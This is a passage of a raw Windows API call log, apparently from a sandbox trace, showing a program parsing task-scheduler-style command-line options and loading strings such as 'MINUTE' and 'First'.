_ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0117.049] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.049] lstrlenW (lpString="|create|") returned 8 [0117.049] lstrlenW (lpString="|f|") returned 3 [0117.049] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0117.049] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.049] lstrlenW (lpString="?") returned 1 [0117.049] lstrlenW (lpString="?") returned 1 [0117.049] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.049] lstrlenW (lpString="f") returned 1 [0117.049] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.049] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|?|") returned 3 [0117.049] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.049] lstrlenW (lpString="|?|") returned 3 [0117.049] lstrlenW (lpString="|f|") returned 3 [0117.049] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0117.049] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.049] lstrlenW (lpString="s") returned 1 [0117.049] lstrlenW (lpString="s") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] lstrlenW (lpString="f") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|s|") returned 3 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.050] lstrlenW (lpString="|s|") returned 3 [0117.050] lstrlenW (lpString="|f|") returned 3 [0117.050] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0117.050] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.050] lstrlenW (lpString="u") returned 1 [0117.050] lstrlenW (lpString="u") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] lstrlenW (lpString="f") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|u|") returned 3 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.050] lstrlenW (lpString="|u|") returned 3 [0117.050] lstrlenW (lpString="|f|") returned 3 [0117.050] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0117.050] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.050] lstrlenW (lpString="p") returned 1 [0117.050] lstrlenW (lpString="p") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] lstrlenW (lpString="f") returned 1 [0117.050] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|p|") returned 3 [0117.050] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.051] lstrlenW (lpString="|p|") returned 3 [0117.051] lstrlenW (lpString="|f|") returned 3 [0117.051] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0117.051] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.051] lstrlenW (lpString="ru") returned 2 [0117.051] lstrlenW (lpString="ru") returned 2 [0117.051] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.051] lstrlenW (lpString="f") returned 1 [0117.051] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.051] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ru|") returned 4 [0117.051] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.051] lstrlenW (lpString="|ru|") returned 4 [0117.051] lstrlenW (lpString="|f|") returned 3 [0117.051] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0117.051] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.051] lstrlenW (lpString="rp") returned 2 [0117.051] lstrlenW (lpString="rp") returned 2 [0117.051] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.051] lstrlenW (lpString="f") returned 1 [0117.051] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.051] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|rp|") returned 4 [0117.051] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.051] lstrlenW (lpString="|rp|") returned 4 [0117.051] lstrlenW (lpString="|f|") returned 3 [0117.051] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0117.051] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.051] lstrlenW (lpString="sc") returned 2 [0117.052] lstrlenW (lpString="sc") returned 2 [0117.052] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] lstrlenW (lpString="f") returned 1 [0117.052] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.052] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.052] lstrlenW (lpString="|sc|") returned 4 [0117.052] lstrlenW (lpString="|f|") returned 3 [0117.052] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0117.052] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.052] lstrlenW (lpString="mo") returned 2 [0117.052] lstrlenW (lpString="mo") returned 2 [0117.052] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] lstrlenW (lpString="f") returned 1 [0117.052] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.052] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.052] lstrlenW (lpString="|mo|") returned 4 [0117.052] lstrlenW (lpString="|f|") returned 3 [0117.052] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0117.052] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.052] lstrlenW (lpString="d") returned 1 [0117.052] lstrlenW (lpString="d") returned 1 [0117.052] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] lstrlenW (lpString="f") returned 1 [0117.052] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.052] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|d|") returned 3 [0117.053] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.053] lstrlenW (lpString="|d|") returned 3 [0117.053] lstrlenW (lpString="|f|") returned 3 [0117.053] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0117.053] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.053] lstrlenW (lpString="m") returned 1 [0117.053] lstrlenW (lpString="m") returned 1 [0117.053] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.053] lstrlenW (lpString="f") returned 1 [0117.053] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.053] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|m|") returned 3 [0117.053] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.053] lstrlenW (lpString="|m|") returned 3 [0117.053] lstrlenW (lpString="|f|") returned 3 [0117.053] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0117.053] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.053] lstrlenW (lpString="i") returned 1 [0117.053] lstrlenW (lpString="i") returned 1 [0117.053] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.053] lstrlenW (lpString="f") returned 1 [0117.053] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.053] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|i|") returned 3 [0117.053] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.053] lstrlenW (lpString="|i|") returned 3 [0117.053] lstrlenW (lpString="|f|") returned 3 [0117.053] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0117.053] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.053] lstrlenW (lpString="tn") returned 2 [0117.053] lstrlenW (lpString="tn") returned 2 [0117.054] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] lstrlenW (lpString="f") returned 1 [0117.054] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.054] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.054] lstrlenW (lpString="|tn|") returned 4 [0117.054] lstrlenW (lpString="|f|") returned 3 [0117.054] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0117.054] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.054] lstrlenW (lpString="tr") returned 2 [0117.054] lstrlenW (lpString="tr") returned 2 [0117.054] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] lstrlenW (lpString="f") returned 1 [0117.054] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.054] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.054] lstrlenW (lpString="|tr|") returned 4 [0117.054] lstrlenW (lpString="|f|") returned 3 [0117.054] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0117.054] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.054] lstrlenW (lpString="st") returned 2 [0117.054] lstrlenW (lpString="st") returned 2 [0117.054] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] lstrlenW (lpString="f") returned 1 [0117.054] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.054] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|st|") returned 4 [0117.055] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.055] lstrlenW (lpString="|st|") returned 4 [0117.055] lstrlenW (lpString="|f|") returned 3 [0117.055] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0117.055] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.055] lstrlenW (lpString="sd") returned 2 [0117.055] lstrlenW (lpString="sd") returned 2 [0117.055] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.055] lstrlenW (lpString="f") returned 1 [0117.055] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.055] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sd|") returned 4 [0117.055] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.055] lstrlenW (lpString="|sd|") returned 4 [0117.055] lstrlenW (lpString="|f|") returned 3 [0117.055] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0117.055] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.055] lstrlenW (lpString="ed") returned 2 [0117.055] lstrlenW (lpString="ed") returned 2 [0117.055] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.055] lstrlenW (lpString="f") returned 1 [0117.055] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.055] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ed|") returned 4 [0117.055] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.055] lstrlenW (lpString="|ed|") returned 4 [0117.055] lstrlenW (lpString="|f|") returned 3 [0117.055] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0117.055] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.055] lstrlenW (lpString="it") returned 2 [0117.056] lstrlenW (lpString="it") returned 2 [0117.056] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] lstrlenW (lpString="f") returned 1 [0117.056] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|it|") returned 4 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.056] lstrlenW (lpString="|it|") returned 4 [0117.056] lstrlenW (lpString="|f|") returned 3 [0117.056] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0117.056] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.056] lstrlenW (lpString="et") returned 2 [0117.056] lstrlenW (lpString="et") returned 2 [0117.056] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] lstrlenW (lpString="f") returned 1 [0117.056] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|et|") returned 4 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.056] lstrlenW (lpString="|et|") returned 4 [0117.056] lstrlenW (lpString="|f|") returned 3 [0117.056] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0117.056] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.056] lstrlenW (lpString="k") returned 1 [0117.056] lstrlenW (lpString="k") returned 1 [0117.056] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|k|") returned 3 [0117.056] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.057] lstrlenW (lpString="|k|") returned 3 [0117.057] lstrlenW (lpString="|f|") returned 3 [0117.057] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0117.057] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.057] lstrlenW (lpString="du") returned 2 [0117.057] lstrlenW (lpString="du") returned 2 [0117.057] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|du|") returned 4 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.057] lstrlenW (lpString="|du|") returned 4 [0117.057] lstrlenW (lpString="|f|") returned 3 [0117.057] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0117.057] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.057] lstrlenW (lpString="ri") returned 2 [0117.057] lstrlenW (lpString="ri") returned 2 [0117.057] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ri|") returned 4 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.057] lstrlenW (lpString="|ri|") returned 4 [0117.057] lstrlenW (lpString="|f|") returned 3 [0117.057] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0117.057] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.057] lstrlenW (lpString="z") returned 1 [0117.057] lstrlenW (lpString="z") returned 1 [0117.057] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|z|") returned 3 [0117.057] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.058] lstrlenW (lpString="|z|") returned 3 [0117.058] lstrlenW (lpString="|f|") returned 3 [0117.058] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0117.058] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.058] lstrlenW (lpString="f") returned 1 [0117.058] lstrlenW (lpString="f") returned 1 [0117.058] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.058] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.058] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.058] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|f|") returned 3 [0117.058] lstrlenW (lpString="|f|") returned 3 [0117.058] lstrlenW (lpString="|f|") returned 3 [0117.058] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0117.058] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.058] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.058] GetProcessHeap () returned 0x2556b0d0000 [0117.058] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db280 [0117.058] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.058] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0117.058] lstrlenW (lpString="MINUTE") returned 6 [0117.058] GetProcessHeap () returned 0x2556b0d0000 [0117.058] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0dab00 [0117.058] GetThreadLocale () returned 0x409 [0117.058] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0117.059] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.059] GetProcessHeap () returned 0x2556b0d0000 [0117.059] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x1fc) returned 0x2556b0dab80 [0117.078] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db580 [0117.079] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.079] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0117.079] lstrlenW (lpString="First") returned 5 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xc) returned 0x2556b0da900 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db2b0 [0117.079] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.079] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0117.079] lstrlenW (lpString="Second") returned 6 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0da9c0 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db2e0 [0117.079] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.079] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0117.079] lstrlenW (lpString="Third") returned 5 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xc) returned 0x2556b0daae0 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db730 [0117.079] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.079] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0117.079] lstrlenW (lpString="Fourth") returned 6 [0117.079] GetProcessHeap () returned 0x2556b0d0000 [0117.079] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0da7c0 [0117.080] GetProcessHeap () returned 0x2556b0d0000 [0117.080] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db640 [0117.080] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.080] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0117.080] lstrlenW (lpString="Last") returned 4 [0117.080] GetProcessHeap () returned 0x2556b0d0000 [0117.080] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xa) returned 0x2556b0da920 [0117.080] lstrlenW (lpString="5") returned 1 [0117.080] _wtol (_String="5") returned 5 [0117.080] GetProcessHeap () returned 0x2556b0d0000 [0117.080] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db7f0 [0117.080] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.080] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0117.080] lstrlenW (lpString="First") returned 5 [0117.080] GetProcessHeap () returned 0x2556b0d0000 [0117.080] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xc) returned 0x2556b0da860 [0117.080] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.080] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0117.080] lstrlenW (lpString="Second") returned 6 [0117.080] GetProcessHeap () returned 0x2556b0d0000 [0117.080] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0da840 [0117.080] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.080] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0117.080] lstrlenW (lpString="Third") returned 5 [0117.080] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.081] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0117.081] lstrlenW (lpString="Fourth") returned 6 [0117.081] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.081] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0117.081] lstrlenW (lpString="Last") returned 4 [0117.081] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x73cd6bc690, cchData=128 | out: lpLCData="0") returned 2 [0117.081] _memicmp (_Buf1=0x2556b0d3ee0, 